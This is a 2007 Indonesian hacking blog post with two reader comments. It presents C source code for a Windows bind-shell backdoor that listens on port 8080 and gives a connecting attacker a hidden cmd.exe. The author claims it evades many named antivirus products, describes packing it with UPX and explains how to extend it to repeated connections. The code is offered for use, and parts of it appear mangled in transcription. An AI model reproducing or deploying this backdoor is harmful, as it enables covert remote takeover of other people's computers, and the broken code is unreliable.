Saturday, December 8, 2007

Hack 0x04 : Spawn CmdShell (Teknik Bind)

Oleh Dendi Suhubdy A.K.A Cron of NuLL

Pada kesempatan ini saya akan membahas suatu teknik pembuatan backdoor menggunakan teknik cmd spawn. Nah pasti pembaca bertanya-tanya, apasih istimewanya teknik cmd spawn ini? Udah ada ribuan Remote Administration Tools yang jauh lebih keren, kayak Back Orifice 2000, Subseven, Amitis, Netbus, dll (kalau namanya di daftar halaman ini tak cukup). Cukup dengan BO2K, kita bisa melakukan ribuan hal ke computer orang lain. Mulai dari hijack mouse dan keyboardnya, membuka semua file, mengutak-atik registry, mengendalikan process, live-keylog, bahkan chatting dengan victim juga ada. Nah alasan utama saya memakai spawn cmd shell adalah karena teknik ini begitu simple sehingga semua jenis vendor komputer security tak menaruh signature file khusus untuk mendeteksi jenis backdoor ini.


Saya telah melakukan test dengan backdoor ini beberapa jenis proteksi antivirus dan antispyware yang beredar selama ini, contohnya: McAfee Antivirus + Antispyware (Enterprise Security 8.5i), Norton Antivirus, Norman Virus Control, Avira (Antivir Personal Edition Classic), Kaspersky Internet Security, F-Secure Client Security, AVG Antivirus (Free, Personal, dan Enterprise).Oh ya, cmd spawn ini juga digunakan di dalam shellcode exploit

Teknik spawn cmdshell itu amat sangat simple. Backdoor ini hanya melakukan proses pembukaan koneksi (bind) pada port tertentu dan ketika ada koneksi yang masuk, maka cmd.exe dari computer remote dimiliki sepenuhnya oleh sang penyerang.

Saya menciptakan backdoor ini dengan bahasa C dan saya compile dengan compiler Visual C++ 6.0. Saya lebih menyukai memakai bahasa C daripada bahasa Basic karena ukuran maupun kecepatan executable menjadi lebih baik. Backdoor ini hanya berukuran 5.05 KB, sebelumnya ada optimalisasi berukuran 129 KB. Setelah optimalisasi oleh compiler dengan small executable maka backdoornya menjadi 29 KB. Setelah menambah beberapa baris kode lagi maka exenya jadi 5.05 KB (sebenarnya bila memakai assembly exe ini bisa kurang dari 1 KB). Akhirnya saya menambahkan kompresi UPX sehingga ukuran exe jadi lebih kecil lagi.

Ok bro, di bawah ini adalah source code dari program saya ini. Happy coding!!! Inget bro ini untuk 1 kali konek saja, tetapi jika mau digunakan untuk konek berkali-kali, masukkan subrutin accept() di dalam loop tak hingga (while 1) dan untuk proses send menggunakan _beginthread( ) atau AfxBeginThread( ).

======================================================================
spawn.h (precompiled header) -> berfungsi untuk memperkecil ukuran executable

#ifdef NDEBUG
#pragma optimize("gsy",on)
#pragma comment(linker,"/RELEASE")
#ifdef _MERGE_RDATA_
#pragma comment(linker,"/merge:.rdata=.data")
#endif // _MERGE_RDATA_
#pragma comment(linker,"/merge:.text=.data")
#pragma comment(linker,"/merge:.reloc=.data")
#if _MSC_VER >= 1000
#pragma comment(linker,"/FILEALIGN:0x200")
#endif // _MSC_VER >= 1000
#endif // NDEBUG
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment(linker,"/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(lib,"msvcrt.lib")
#if (_MSC_VER < style="">
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/OPT:NOWIN98")
#endif
#define WIN32_LEAN_AND_MEAN

===========================spawn.c=====================================

#include

#pragma comment(linker,"/ENTRY:WinMain")
int WINAPI WinMain(HINSTANCE , HINSTANCE , LPSTR ,int )
{
STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s
WSADATA HWSAdata;
WSAStartup(0x101, &HWSAdata);
s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
sa.sin_family = AF_INET;
sa.sin_port = 0x901F; // (USHORT)htons(8080);
sa.sin_addr.s_addr= 0x00; // htonl(INADDR_ANY);
bind(s, (struct sockaddr *) &sa, 16);
listen(s, 1);
s= accept(s,(struct sockaddr *)&sa,NULL);
si.cb = sizeof(si); // 0x44;
si.wShowWindow = SW_HIDE; // 0x00
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; // 0x101
si.hStdInput = si.hStdOutput = si.hStdError = (void *) s;
si.lpDesktop = si.lpTitle = (char *) 0x0000;
si.lpReserved2 = NULL;
CreateProcess( NULL ,"cmd",NULL, NULL,TRUE, 0,NULL,NULL,(STARTUPINFO*)&si,π);
}
==============================================================

2 comments:

Yetendra said...

Tulisan blognya ga jela men..
salah pilih warna tuh :)
maaf bukannya menggurui tapi emang susah dibaca
siapa tau isi blognya bagus.. kan sayang kalo susah bacanya

Anonymous said...

buku apa yang harus dibaca untuk belajar bahasa pemrograman den?
gimana caranya kamu tau bahasa2 yang digunakan di DOS?

Template by - Abdul Munir | Daya Earth Blogger Template